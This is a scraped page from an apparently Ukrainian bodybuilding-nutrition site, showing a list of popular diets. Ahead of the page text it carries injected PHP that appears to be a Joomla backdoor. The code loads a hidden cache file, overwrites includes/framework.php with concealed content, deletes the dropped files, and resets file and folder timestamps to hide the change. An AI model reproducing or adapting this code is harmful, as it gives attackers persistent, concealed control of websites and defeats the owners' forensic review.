$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } ЕФЕКТИВНІ ДІЄТИ. СХУДНЕННЯ | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

ЕФЕКТИВНІ ДІЄТИ. СХУДНЕННЯ

catdietОгляд найбільш популярних та ефективних дієт. Допоможе обрати
оптимальну дієту саме для Вас.

 

 

 

 

 

 

1 Ананасова дієта
2 Антикризова дієта
3 Власна дієта Баскова
4 Водна дієта: їж досхочу, пий більше!
5 Дієта Лариси Доліної
6 Кавунова дієта
7 Кефірна дієта
8 МОНОДІЄТИ плюси та мінуси
9 Шоколадна дієта
 
Ефективні дієти